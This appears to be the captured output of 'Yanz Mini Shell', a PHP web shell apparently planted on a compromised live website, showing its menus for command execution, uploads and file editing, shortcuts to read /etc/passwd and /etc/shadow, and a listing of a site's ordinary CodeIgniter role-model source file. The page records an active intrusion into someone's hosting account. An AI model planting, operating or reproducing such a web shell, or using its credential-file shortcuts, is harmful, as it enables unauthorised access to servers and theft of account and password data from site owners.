Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
daterangepicker
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php if (!defined('BASEPATH')) { exit('No direct script access allowed'); } class Role_model extends CI_Model { public function __construct() { parent::__construct(); } public function addRole($name, $permissions){ $this->db->insert('tbl_roles', ['name' => $name, 'permissions' => $permissions]); return true; } public function roleDelete($id){ if ($this->db->delete('tbl_roles', ['id' => $id])) { return true; } return false; } public function getRoleByID($id){ $q = $this->db->get_where('tbl_roles', ['id' => $id], 1); if ($q->num_rows() > 0) { return $q->row(); } return false; } public function updateRole($id, $name, $permissions){ if ($this->db->update('tbl_roles', ['name' => $name, 'permissions' => $permissions], ['id' => $id])) { return true; } return false; } public function addRoles($date,$amount,$category,$sub_category,$notes,$created_by) { for($e=0;$e<count($date);$e++) { $this->db->insert('tec_expenses', ['date' => $date[$e], 'amount' => $amount[$e], 'category' => $category, 'sub_category' => $sub_category[$e], 'note' => $notes[$e], 'created_by' => $created_by]); } return true; } public function addMmcategory($data) { if ($this->db->insert('mm_categories', $data)) { return true; } return false; } public function updateCategory($id, $data = null) { if ($this->db->update('mm_categories', $data, ['id' => $id])) { return true; } return false; } // MM Sub Category Starts Here public function addMmSubcategory($data) { if ($this->db->insert('mm_sub_categories', $data)) { return true; } return false; } public function updateMmSubCategory($id, $data = null) { if ($this->db->update('mm_sub_categories', $data, ['id' => $id])) { return true; } return false; } public function deleteMmSubCategory($id) { if ($this->db->delete('mm_sub_categories', ['id' => $id])) { return true; } return false; } // MM Sub Category Ends Here }
Free Space : 12050616320 Byte